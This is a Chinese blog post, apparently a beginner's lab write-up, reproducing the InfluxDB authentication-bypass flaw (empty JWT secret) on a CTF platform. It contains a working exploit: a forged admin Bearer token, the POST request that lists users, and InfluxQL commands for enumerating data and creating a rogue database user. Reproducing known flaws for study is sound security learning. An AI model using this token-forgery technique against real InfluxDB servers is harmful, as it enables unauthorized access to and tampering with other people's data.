InfluxDB 未授权访问漏洞复现

最新推荐文章于 2024-03-15 15:58:38 发布

Jokermans

最新推荐文章于 2024-03-15 15:58:38 发布

阅读量9.6k

点赞数 1

文章标签：安全 web安全

本文链接：https://blog.csdn.net/weixin_52125240/article/details/123182326

版权

InfluxDB 未授权访问漏洞复现

一、漏洞描述
二、产生原因
三、漏洞发现
四、漏洞影响
五、漏洞复现

前言：第一次复现漏洞，肯定会有很多不足的地方，这也是我学习漏洞的第一次尝试吧
这里我就不自己搭建漏洞环境了，BMZCTF这个平台已经搭建好了很多漏洞环境，这次我就用这个平台来复现一下这个漏洞

一、漏洞描述

InfluxDB 是一个开源分布式时序、时间和指标数据库，使用 Go 语言编写，无需外部依赖。其设计目标是实现分布式和水平伸缩扩展，是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证，但未设置参数 shared-secret 的情况下，jwt 的认证密钥为空字符串，此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。

在InfluxDB中，每条数据都可以粗滤看成是虚拟key=value的形式，如语句

INSERT cpu,host=serverA,region=us_west value=0.64

表示往数据库中插入一条指标名为cup，标签集host为serverA,region为us_west的，值是0.64的数据。具体的数据概念和含义可以参考InfluxDB官方文档。

InfluxDB提供三种操作方式：

CLI
HTTP(包括API接口和Web管理界面)
各语言的API库

但实际上以上操作方式其实都是在调用InfluxDB实现的API接口，API接口的两个常用操作是qurey(查询数据)和write(更改数据)

二、产生原因

InfluxDB的

Web 操作界面默认运行在 localhost 8083 端口;
HTTP API 接口默认运行在 localhost 8086 端口

如果直接将只能本机访问到的 localhost 改为内网或者公网IP，没有配置访问控制的口令，便可能会产生未授权访问漏
洞。

三、漏洞发现

扫描默认的8083或者8086端口
8086端口HTTP API的X-Influxdb-Version标志头

在这里插入图片描述
InfluxDB API默认有以下4个endpoint：

/ping 用来检查数据库实例状态和版本号
/query 用来查询数据库数据
/write 用来更改数据库数据

四、漏洞影响

InfluxDB < 1.7.6

五、漏洞复现

通过BMZCTF这个平台，直接访问环境
在这里插入图片描述
打开环境后我们看一下，啥也没有

访问http://xxx:xxx/debug/vars可查看系统服务信息：

进入到/query查询功能会提示需要登录：

通过https://jwt.io/生成Cookie，绕过身份验证，构造所需的 Token：

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中，username需要为已存在的用户，exp是时间戳，代表该 Token 的过期时间，所以需要生成一个未来的时间戳，其中1676346267转换为时间是：2023-02-14 11:44:27。
将secret的值置空，得到编码后的 Token：
在这里插入图片描述
抓取/query页面的数据包，并将请求方式修改为 POST，添加请求头：

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A

添加 POST 请求键值对：db=sample&q=show+users
发送数据包，得到查询结果。
在这里插入图片描述
这里补充一下，需要在请求头里面加入：

Content-Type:application/x-www-form-urlencoded

否则请求的时候是会404的

所谓的简单的漏洞利用，主要是利用query和write来操作数据库的数据，先介绍几个基础语法：

SHOW USERS	查看当前所有的数据库用户
SHOW DATABASES	查看所有的数据库
SHOW MEASUREMENTS	查询当前数据库中含有的表
SHOW FIELD KEYS	查看当前数据库所有表的字段
CREATE USER LandGrey WITH PASSWORD ‘LandGrey’	创建 LandGrey:LandGrey 数据库用户

其他查询语法和普通的SQL查询语法类似。
组合利用：

pretty=true 表示优化输出显示
参数 q 传入具体查询数据
参数 db 传入具体数据库名
参数 u 传入数据库用户名
参数 p 传入数据库密码

在/query页面发送 POST 请求：db=sample&q=show users，得到用户信息回显。

做这个BMZCTF的时候，我一直在找看有没有什么exp可以用的，可以帮助我拿到flag，因为这个靶场上看着好像是有flag的，我自己也找了很多的文章，也去问了官方，但是都没有回应，也没有找到什么好用的exp，只能暂时认为这个靶场是没有flag的。其实第一次复现，很多的知识点也没有接触过，对InfluxDB的了解也不多，所以借鉴了很多文章，有错误的话也希望大家多多赐教。

参考链接
https://blog.csdn.net/weixin_44037296/article/details/118754782
https://landgrey.me/static/upload/2019-09-15/swhrybqj.pdf